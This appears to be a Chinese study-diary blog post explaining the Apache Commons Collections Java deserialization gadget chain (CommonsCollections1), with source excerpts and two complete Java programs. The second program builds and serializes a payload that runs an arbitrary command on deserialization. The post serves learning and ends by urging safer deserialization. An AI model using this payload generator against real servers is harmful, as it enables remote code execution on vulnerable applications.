读书日记二

前言

每天一小步,进步一大步。java 反序列化学习

0x01 java反序列化利用
Apache Commons Collections <=3.2.1, <=4.0.0
1. InvokerTransformer.transform() 反射调用
在使用Apache Commons Collections库进行Gadget构造时主要利用了其Transformer接口。
1
2
3
4
5
6
7
8
package org.apache.commons.collections;


public interface Transformer
{

public abstract Object transform(Object obj);
}
主要用于将一个对象通过 transform 方法转换为另一个对象,而在库中众多对象转换的接口中存在一个 Invoker 类型的转换接口 InvokerTransformer,并且同时还实现了 Serializable 接口。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class InvokerTransformer implements Transformer, Serializable {
...省略...
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass(); // 反射获取类
Method method = cls.getMethod(iMethodName, iParamTypes); // 反射得到具有对应参数的方法
return method.invoke(input, iArgs); // 使用对应参数调用方法,并返回相应调用结果
} catch (NoSuchMethodException ex) {
...省略...
可以看到 InvokerTransformer 类中实现的transform()接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName,然后使用对应参数 iArgs 调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造的决定性的条件。
然后要想利用 InvokerTransformer 类中的transform()来达到任意命令执行,还需要一个入口点,使得应用在反序列化的时候能够通过一条调用链来触发 InvokerTransformer 中的transform()接口。
然而在 Apache Commons Collections 里确实存在这样的调用,其一是位于TransformedMap类中的checkSetValue()方法:
1
2
3
4
5
6
7
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
...省略...
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
而 TransformedMap 实现了 Map 接口,而在对字典键值进行setValue()操作时会调用valueTransformer.transform(value)
1
2
3
4
5
6
...省略...
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
好的,现在已经找到了反射调用的上一步调用,这里为了多次进行多次反射调用,我们可以将多个 InvokerTransformer 实例级联在一起组成一个 ChainedTransformer 对象,在其调用的时候会进行一个级联transform()调用:
1
2
3
4
5
6
7
8
public class ChainedTransformer implements Transformer, Serializable {
...省略...
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
现在已经可以造出一个 TransformedMap 实例,在对字典键值进行 setValue() 操作时候调我们构造的 ChainedTransformer,下面给出示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.example.demo;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class SetValueToExec {

public static void main(String[] args) throws Exception {
String command = (args.length != 0) ? args[0] : "calc";
String[] execArgs = command.split(",");

Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap<String, Object>();
Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);
exMap.put("1111", "2222");
for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) {
exMapValue.setValue(1);
}
}
}
根据之前的分析,将上面这段代码编译运行后会默认会弹出计算器,对代码详细执行过程有疑惑的可以通过单步调试进行测试:

然后我们现在只是测试了使用 TransformedMap 进行任意命令执行而已,要想在 Java 应用反序列化的过程中触发该过程还需要找到一个类,它能够在反序列化调用 readObject() 的时候调用 TransformedMap 内置类 MapEntry 中的 setValue() 函数,这样才能构成一条完整的 Gadget 调用链。恰好在 sun.reflect.annotation.AnnotationInvocationHandler 类具有 Map 类型的参数,并且在 readObject() 方法中触发了上面所提到的所有条件,其源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
private void readObject(java.io.ObjectInputStream s) {
...省略...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}
}
可以注意到 memberValue 是 AnnotationInvocationHandler 类中类型声明为 Map<String, Object> 的成员变量,刚好和之前构造的 TransformedMap 类型相符,因此我们可以通过 Java 的反射机制动态的获取 AnnotationInvocationHandler 类,使用精心构造好的 TransformedMap 作为它的实例化参数,然后将实例化的 AnnotationInvocationHandler 进行序列化得到二进制数据,最后传递给具有相应环境的序列化数据交互接口使之触发命令执行的 Gadget,完整代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package exserial.payloads;

import java.io.ObjectOutputStream;

import java.util.Map;
import java.util.HashMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import exserial.payloads.utils.Serializables;

public class Commons1 {

public static Object getAnnotationInvocationHandler(String command) throws Exception {
String[] execArgs = command.split(",");
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
tempMap.put("value", "does't matter");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, exMap);

return instance;
}

public static void main(String[] args) throws Exception {
String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";

Object obj = getAnnotationInvocationHandler(command);
ObjectOutputStream out = new ObjectOutputStream(System.out);
out.writeObject(obj);
}
}
最终用一段调用链可以清晰的描述整个命令执行的触发过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections <= 3.2.1
*/
0x02 总结
要清楚反序列化问题不单单存在于某种语言里,而是目前的大多数实现了序列化接口的语言都没有对反序列化的对象做安全检查,虽然官方都有文档说不要对不可信的输入数据进行反序列化,但是往往一些框架就喜欢使用序列化来方便不同应用或者平台之间对象的传递,这就促使了反序列化漏洞的形成。
基于 Apache Commons Collections 通用库构造远程命令执行的 POP Gadget 只能说是 Java 反序列化漏洞利用中的一枚辅助炮弹而已,如果不从根本上加强反序列化的安全策略,以后还会涌现出更多通用库或者框架的 POP Gadget 能够进行有效的利用。
参考链接
https://www.youtube.com/watch?v=KSA7vUkXGSg
http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#background
http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html#8130
http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html
http://www.javaworld.com/article/2072752/the-java-serialization-algorithm-revealed.html
https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf